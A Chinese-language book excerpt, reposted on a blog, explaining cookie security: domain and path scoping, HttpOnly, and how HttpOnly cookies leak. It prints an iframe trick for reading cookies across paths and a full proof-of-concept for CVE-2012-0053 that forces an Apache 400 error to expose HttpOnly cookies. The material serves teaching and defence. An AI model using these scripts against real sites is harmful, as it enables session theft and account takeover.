• Cookie安全


    Cookie安全

    Cookie是一个神奇的机制,同域内浏览器中发出的任何一个请求都会带上Cookie,无论请求什么资源,请求时,Cookie出现在请求头的Cookie字段中。服务端响应头的Set-Cookie字段可以添加、修改和删除Cookie,大多数情况下,客户端通过JavaScript也可以添加、修改和删除Cookie。

    由于这样的机制,Cookie经常被用来存储用户的会话信息,比如,用户登录认证后的Session,之后同域内发出的请求都会带上认证后的会话信息,非常方便。所以,攻击者就特别喜欢盗取Cookie,这相当于盗取了在目标网站上的用户权限。

    Cookie的重要字段如下:

    [name][value][domain][path][expires][httponly][secure]

    其含义依次是:名称、值、所属域名、所属相对根路径、过期时间、是否有HttpOnly标志、是否有Secure标志。这些字段用好了,Cookie就是安全的,下面对关键的字段进行说明。

    1.子域Cookie机制

    这是domain字段的机制,设置Cookie时,如果不指定domain的值,默认就是本域。例如,a.foo.com域通过JavaScript来设置一个Cookie,语句如下:

    document.cookie="test=1";

    那么,domain值默认为a.foo.com。有趣的是,a.foo.com域设置Cookie时,可以指定domain为父级域,比如:

    document.cookie="test=1;domain=foo.com";

    此时,domain就变为foo.com,这样带来的好处就是可以在不同的子域共享Cookie,坏处也很明显,就是攻击者控制的其他子域也能读到这个Cookie。另外,这个机制不允许设置Cookie的domain为下一级子域或其他外域。

    2.路径Cookie机制

    这是path字段的机制,设置Cookie时,如果不指定path的值,默认就是目标页面的路径。例如,a.foo.com/admin/index.php页面通过JavaScript来设置一个Cookie,语句如下:

    document.cookie="test=1";

    path值就是/admin/。通过指定path字段,JavaScript有权限设置任意Cookie到任意路径下,但是只有目标路径下的页面JavaScript才能读取到该Cookie。那么有什么办法跨路径读取Cookie?比如,/evil/路径想读取/admin/路径的Cookie。很简单,通过跨iframe进行DOM操作即可,/evil/路径下页面的代码如下:

    xc = function(src){

        var o = document.createElement("iframe"); // iframe进入同域的目标页面

        o.src = src;

        document.getElementsByTagName("body")[0].appendChild(o);

        o.onload = function(){ // iframe加载完成后

            d = o.contentDocument || o.contentWindow.document;
    // 获取document对象

            alert(d.cookie); // 获取cookie

        };

    }('http://a.foo.com/admin/index.php');

    所以,通过设置path不能防止重要的Cookie被盗取。

    3.HttpOnly Cookie机制

    顾名思义,HttpOnly是指仅在HTTP层面上传输的Cookie,当设置了HttpOnly标志后,客户端脚本就无法读写该Cookie,这样能有效地防御XSS攻击获取Cookie。以PHP setcookie为例,httponly.php文件代码如下:

    <?php

    setcookie("test", 1, time()+3600, "", "", 0); // 设置普通Cookie

    setcookie("test_http", 1, time()+3600, "", "", 0, 1);
    // 第7个参数(这里的最后一个)是HttpOnly标志,0为关闭,1为开启,默认为0

    ?>

    请求这个文件后,设置了两个Cookie,如图2-2所示。

     

    图2-2  设置的Cookie值

    其中,test_http是HttpOnly Cookie。有什么办法能获取到HttpOnly Cookie?如果服务端响应的页面有Cookie调试信息,很可能就会导致HttpOnly Cookie的泄漏。比如,以下信息。

    (1)PHP的phpinfo()信息,如图2-3所示。

     

    图2-3  phpinfo()信息

    (2)Django应用的调试信息,如图2-4所示。

     

    图2-4  Django调试信息

    (3)CVE-2012-0053关于Apache Http Server 400错误暴露HttpOnly Cookie,描述如下:

    Apache HTTP Server 2.2.x多个版本没有严格限制HTTP请求头信息,HTTP请求头信息超过LimitRequestFieldSize长度时,服务器返回 400(Bad Request)错误,并在返回信息中将出错的请求头内容输出(包含请求头里的HttpOnly Cookie),攻击者可以利用这个缺陷获取HttpOnly Cookie。

    可以通过技巧让Apache报400错误,例如,如下POC(Proof of Concept,为观点提供证据):

    <script>

    /* POC来自:

    https://gist.github.com/1955a1c28324d4724b7b/7fe51f2a66c1d4a40a736540b3a    d3fde02b7fb08

     

    大多数浏览器限制Cookies最大为4kB,我们设置为更大,让请求头长度超过Apache的LimitRequestFieldSize,从而引发400错误。

    */

    function setCookies (good) {

        var str = "";

        for (var i=0; i< 819; i++) {

            str += "x";

        }

        for (i = 0; i < 10; i++) {

            if (good) { // 清空垃圾Cookies

                var cookie = "xss"+i+"=;expires="+new Date(+new Date()-1).                                toUTCString()+"; path=/;";

            }

            // 添加垃圾Cookies

            else {

                var cookie = "xss"+i+"="+str+";path=/";

            }

            document.cookie = cookie;

        }

    }

     

    function makeRequest() {

        setCookies(); // 添加垃圾Cookies

        function parseCookies () {

            var cookie_dict = {};

            // 仅当处于400状态时

            if (xhr.readyState === 4 && xhr.status === 400) {

                // 替换掉回车换行字符,然后匹配出<pre></pre>代码段里的内容

                var content = xhr.responseText.replace(/\r|\n/g,'').match                                  (/<pre>(.+)<\/pre>/);

                if (content.length) {

                    // 替换“Cookie: ”前缀

                    content = content[1].replace("Cookie: ", "");

                    var cookies = content.replace(/xss\d=x+;?/g, '').split(/;/g);

                   

                    for (var i=0; i<cookies.length; i++) {

                        var s_c = cookies[i].split('=',2);

                        cookie_dict[s_c[0]] = s_c[1];

                    }

                }

                setCookies(true); // 清空垃圾Cookies

                alert(JSON.stringify(cookie_dict)); // 得到HttpOnly Cookie

            }

        }

        // 针对目标页面发出xhr请求,请求会带上垃圾Cookies

        var xhr = new XMLHttpRequest();

        xhr.onreadystatechange = parseCookies;

        xhr.open("GET", "httponly.php", true);

        xhr.send(null);

    }

    makeRequest();

    </script>

     

    apache 400 httponly cookie poc

    请求这个POC时,发出的请求头信息如图2-5所示。

     

    图2-5  POC发出的请求头信息

    此时,httponly.php(其代码在前面已给出)会出现400错误,导致HttpOnly Cookie泄漏,如图2-6所示。

     

    图2-6  Apache 400错误报出的HttpOnly Cookie

    上面的几个例子中,服务端响应泄漏了HttpOnly Cookie应该算是一种漏洞,需谨慎对待,否则XSS会轻易获取到同域内的HttpOnly Cookie。

    本文节选自《web前端黑客技术揭秘》

    钟晨鸣,徐少培编著

    电子工业出版社出版

  • 相关阅读:
    自然数幂和的若干种解法
    线性预处理逆元
    差分与有限微积分
    UVALive 6859——凸包&&周长
    UVALive 6858——分类讨论&&水题
    UVALive 6862——结论题&&水题
    ZOJ4019——贪心&&DP
    [LeetCode] Power of Two
    循环队列实现(C++) Ring Buffer
    正确使用stl vecotr erase函数
  • 原文地址:https://www.cnblogs.com/broadview/p/2918966.html
Copyright © 2020-2023  润新知